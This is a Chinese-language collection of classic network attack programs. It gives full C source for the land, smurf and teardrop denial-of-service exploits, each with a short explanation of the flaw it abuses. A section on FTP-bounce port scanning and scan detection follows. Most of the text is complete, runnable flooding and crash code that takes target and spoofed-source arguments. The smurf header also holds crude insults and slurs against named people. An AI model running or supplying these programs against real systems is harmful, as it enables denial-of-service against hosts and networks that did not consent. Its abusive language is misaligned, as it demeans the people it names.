C源码:常用攻击程序

1 Land

攻击一台Win95的机器。这是Win95的一个漏洞，以其IP地址和端口向自
己的同一个端口发起连接（发SYN），Win95即会崩溃。

/* land.c by m3lt, FLC
crashes a win95 box */

#include <stdio.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include < netinet/ip.h >
#include < netinet/tcp.h >

//用于TCP校验和的伪头
struct pseudohdr
{
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short length;
struct tcphdr tcpheader;
};

//计算IP校验和
u_short checksum(u_short * data,u_short length)
{
register long value;
u_short i;

for(i=0;i<(length>>1);i++)
value+=data[i];

if((length&1)==1)
value+=(data[i]<<8);

value=(value&65535)+(value>>16);

return(~value);
}

int main(int argc,char * * argv)
{
struct sockaddr_in sin;
struct hostent * hoste;
int sock;
char buffer[40];
struct iphdr * ipheader=(struct iphdr *) buffer;
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
struct pseudohdr pseudoheader;

fprintf(stderr,"land.c by m3lt, FLC\n");

if(argc<3)
{
fprintf(stderr,"usage: %s IP port\n",argv[0]);
return(-1);
}

bzero(&sin,sizeof(struct sockaddr_in));
sin.sin_family=AF_INET;

if((hoste=gethostbyname(argv[1]))!=NULL)
bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
{
fprintf(stderr,"unknown host %s\n",argv[1]);
return(-1);
}

if((sin.sin_port=htons(atoi(argv[2])))==0)
{
fprintf(stderr,"unknown port %s\n",argv[2]);
return(-1);
}

//new一个SOCK—RAW以发伪造IP包 这需要root权限
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
{
fprintf(stderr,"couldn't allocate raw socket\n");
return(-1);
}

bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->version=4;
ipheader->ihl=sizeof(struct iphdr)/4;
ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->id=htons(0xF1C);
ipheader->ttl=255;
ipheader->protocol=IP_TCP;

//目的IP地址和源IP地址相同
ipheader->saddr=sin.sin_addr.s_addr;
ipheader->daddr=sin.sin_addr.s_addr;

//目的TCP端口和源TCPIP端口相同
tcpheader->th_sport=sin.sin_port;
tcpheader->th_dport=sin.sin_port;
tcpheader->th_seq=htonl(0xF1C);
tcpheader->th_flags=TH_SYN;
tcpheader->th_off=sizeof(struct tcphdr)/4;
tcpheader->th_win=htons(2048);

bzero(&pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct tcphdr));
bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));

if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
{
fprintf(stderr,"couldn't send packet\n");
return(-1);
}

fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);

close(sock);
return(0);
}

2 Smurf
smurf攻击是很简单的，它有一些IP（广播地址）地址列表，发出了一些伪造的数
据包（ICMP echo request）从而导致一场广播风暴，可以使受害主机（使它成为伪造包
的源地址）崩溃。

受害者有两种：中间的设备（bounce sites 交换机或路由器）和被伪装的IP（那些
icmp echo的包都被发给它）。这种攻击依赖于路由器把一个广播地址转化为一广播桢
（如Ethernet, FF:FF:FF:FF:FF:FF），RFC中允许这种转换，但在今天看来是不需要的。

可以使你router停止转换第三层的广播（IP）到第二层的广播（Ethernet）。

但是Smb服务器或NT需要远程广播使LAN知道它的存在，但在路由器的上述配置会使这变
成不可能（没有WINS服务器时）。

/*
*
* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
*
* spoofs icmp packets from a host to various broadcast addresses resulting
* in multiple replies to that host from a single packet.
*
* mad head to:
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
* MissSatan for swallowing, napster for pimping my sister, the guy that
* invented vaseline, fyber for trying, knowy, old school #havok, kain
* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
* have missed (you know who you are).
*
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
* thing he is (he's -almost- as stubborn as me, still i managed to pick up
* half the cheque).
*
* and a special hi to Todd, face it dude, you're fucking awesome.
*
* mad anal to:
* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
* because they plain suck, Rolex for being a twit, everyone that
* trades warez, Caren for being a lesbian hoe, AcidKill for being her
* partner, #cha0s, sedriss for having an ego in inverse proportion to
* his penis and anyone that can't pee standing up -- you don't know what
* your missing out on.
*
* and anyone thats ripped my code (diff smurf.c axcast.c is rather
* interesting).
*
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
* Robbins for trying to steal my girlfriend. Not only did you show me
* no respect but you're a manipulating prick who tried to take away the
* most important thing in the world to me with no guilt whatsoever, and
* for that I wish you nothing but pain. Die.
*
* disclaimer:
* I cannot and will not be held responsible nor legally bound for the
* malicious activities of individuals who come into possession of this
* program and I refuse to provide help or support of any kind and do NOT
* condone use of this program to deny service to anyone or any machine.
* This is for educational use only. Please Don't abuse this.
*
* Well, i really, really, hate this code, but yet here I am creating another
* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
* like most programmers don't like seeing bugs in their code. I saw a few
* things that should have been done better or needed fixing so I fixed
* them. -shrug-, programming for me as always seemed to take the pain away
* ...
*
*
*/

#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>

void banner(void);
void usage(char *);
void smurf(int, struct sockaddr_in, u_long, int);
void ctrlc(int);
unsigned short in_chksum(u_short *, int);

/* stamp */
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";

int main (int argc, char *argv[])
{
struct sockaddr_in sin;
struct hostent *he;
FILE *bcastfile;
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
char buf[32], **bcastaddr = malloc(8192);

banner();
signal(SIGINT, ctrlc);

if (argc < 6) usage(argv[0]);

if ((he = gethostbyname(argv[1])) == NULL) {
perror("resolving source host");
exit(-1);
}
memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length);
sin.sin_family = AF_INET;
sin.sin_port = htons(0);

num = atoi(argv[3]);
delay = atoi(argv[4]);
pktsize = atoi(argv[5]);

if ((bcastfile = fopen(argv[2], "r")) == NULL) {
perror("opening bcast file");
exit(-1);
}
x = 0;
while (!feof(bcastfile)) {
fgets(buf, 32, bcastfile);
if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
for (i = 0; i < strlen(buf); i++)
if (buf[i] == '\n') buf[i] = '\0';
bcastaddr[x] = malloc(32);
strcpy(bcastaddr[x], buf);
x++;
}
bcastaddr[x] = 0x0;
fclose(bcastfile);

if (x == 0) {
fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
exit(-1);
}
if (pktsize > 1024) {
fprintf(stderr, "ERROR: packet size must be < 1024\n\n");
exit(-1);
}

if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("getting socket");
exit(-1);
}
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast));

printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);

for (i = 0; i < num || !num; i++) {
if (!(i % 25)) { printf("."); fflush(stdout); }
smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
cycle++;
if (bcastaddr[cycle] == 0x0) cycle = 0;
usleep(delay);
}
puts("\n\n");
return 0;
}

void banner (void)
{
puts("\nsmurf.c v4.0 by TFreak\n");
}

void usage (char *prog)
{
fprintf(stderr, "usage: %s <target> <bcast file> "
"<num packets> <packet delay> <packet size>\n\n"
"target = address to hit\n"
"bcast file = file to read broadcast addresses from\n"
"num packets = number of packets to send (0 = flood)\n"
"packet delay = wait between each packet (in ms)\n"
"packet size = size of packet (< 1024)\n\n", prog);
exit(-1);
}

void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
{
struct iphdr *ip;
struct icmphdr *icmp;
char *packet;

packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));

memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);

ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip->ihl = 5;
ip->version = 4;
ip->ttl = 255;
ip->tos = 0;
ip->frag_off = 0;
ip->protocol = IPPROTO_ICMP;
ip->saddr = sin.sin_addr.s_addr;
ip->daddr = dest;
ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));
icmp->type = 8;
icmp->code = 0;
icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);

sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
0, (struct sockaddr *)&sin, sizeof(struct sockaddr));

free(packet); /* free willy! */
}

void ctrlc (int ignored)
{
puts("\nDone!\n");
exit(1);
}

unsigned short in_chksum (u_short *addr, int len)
{
register int nleft = len;
register int sum = 0;
u_short answer = 0;

while (nleft > 1) {
sum += *addr++;
nleft -= 2;
}

if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)addr;
sum += answer;
}

sum = (sum >> 16) + (sum + 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}

3 Teardrop

在Linux的ip包重组过程中有一个严重的漏洞。

在ip_glue()中：

在循环中重组ip包：
fp = qp->fragments;
while(fp != NULL)
{
if(count+fp->len > skb->len)
{
error_to_big;
}
memcpy((ptr + fp->offset), fp->ptr, fp->len);
count += fp->len;
fp = fp->next;
}
这里只检查了长度过大的情况，而没有考虑长度过小的情况，
如 fp->len<0 时，也会使内核拷贝过多的东西。

计算分片的结束位置：
end = offset + ntohs(iph->tot_len) - ihl;

当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的）
是这样处理的：
if (prev != NULL && offset < prev->end)
{
i = prev->end - offset;
offset += i; /* ptr into datagram */
ptr += i; /* ptr into fragment data */
}

/* Fill in the structure. */
fp->offset = offset;
fp->end = end;
fp->len = end - offset; //fp->len是一个有符号整数

举个例子来说明这个漏洞：
第一个碎片：mf=1 offset=0 payload=20
敌二个碎片：mf=0 offset=10 payload=9

这样第一个碎片的 end=0+20
offset=0
这样第二个碎片的 end=9+10=19
offset=offset+（20-offset）=20
fp-〉len=19-20=-1；

那么memcpy将拷贝过多的数据导致崩溃。

/*
* Copyright (c) 1997 route|daemon9 <route@infonexus.com> 11.3.97
*
* Linux/NT/95 Overlap frag bug exploit
*
* Exploits the overlapping IP fragment bug present in all Linux kernels and
* NT 4.0 / Windows 95 (others?)
*
* Based off of: flip.c by klepto
* Compiles on: Linux, *BSD*
*
* gcc -O2 teardrop.c -o teardrop
* OR
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>

#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */

#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
*/

void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);

int main(int argc, char **argv)
{
int one = 1,
count = 0,
i,
rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;

fprintf(stderr, "teardrop route|daemon9\n\n");

//建SOCK_RAW
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("raw socket");
exit(1);
}
//由系统处理IP校验和。
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
< 0)
{
perror("IP_HDRINCL");
exit(1);
}

if (argc < 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}

while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; /* NOTREACHED */
}
}

srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;

fprintf(stderr, "Death on flaxen wings:\n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");

for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf(stderr, "b00m ");
usleep(500);
}
fprintf(stderr, "]\n");
return (0);
}

/*
* Send two IP fragments with pathological offsets. We use an implementation
* independent way of assembling network packets that does not rely on any of
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/

void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */

sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;

/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */

if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}

/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/
p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *)p_ptr) = FIX(MAGIC);

if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
}

u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;

if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}

void usage(u_char *name)
{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
name);
exit(0);
}

4 Portscan 和 Antiportscan

Portscan的两种主要方法：
(1) Half-open（半打开）
利用下面特性：但一个主机收到向某个端口（TCP）发出的(SYN)，
如果在这个端口有服务，那么返回（SYN+ASK），不然返回（RST）。

(2) FTP scanner
利用了FTP的port命令，例如可以这样作：
选择一个FTP服务器，连上后令port命令指向目标机，如果返回
值是正确的，那么目标机的该端口是有服务的，如返回打开端口错误则
该端口无服务。
telnet 192.168.1.13 21
Trying 192.168.1.13...
Connected to pp.bricks.org.
Escape character is '^]'.
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
Thu May 7 23:18:05 EDT 1998) ready.

user anonymous
331 Guest login ok, send your complete e-mail address as password.
pass aa@aa.aa
230 Guest login ok, access restrictions apply.
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口

150 Opening ASCII mode data connection for file list.
425 Can't build data connection: Connection refused.
//该端口未活动
150 Opening ASCII mode data connection for file list.
226 Transfer complete.
//该端口活动中
但有些FTP服务器禁止你将数据连接影响其他地址，那就没办法了。

上述两种方法是通用的，而针对个别系统有一些特殊方法。

如一些系统受到包后会作如下处理：

标志 活动的端口的应答 不活动端口的应答

SYN SYN|ACK RST 或 Nothing
SYN|FIN ACK or SYN|ACK* RST
ACK Nothing RST
0 flag Nothing RST

你最好是试一试。

Antiport
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读，
若发现一个主机不停的象你发送（SYN）包，却没有完成连结，可以认
定它在向你做portscan。

notes：
早期的portscan程序是老老实实的向你一个一个端口连（完成三次握手），
而一些antiscan是在一个平时不用的端口上起一个服务器，并认为连上来的
都是向它scan。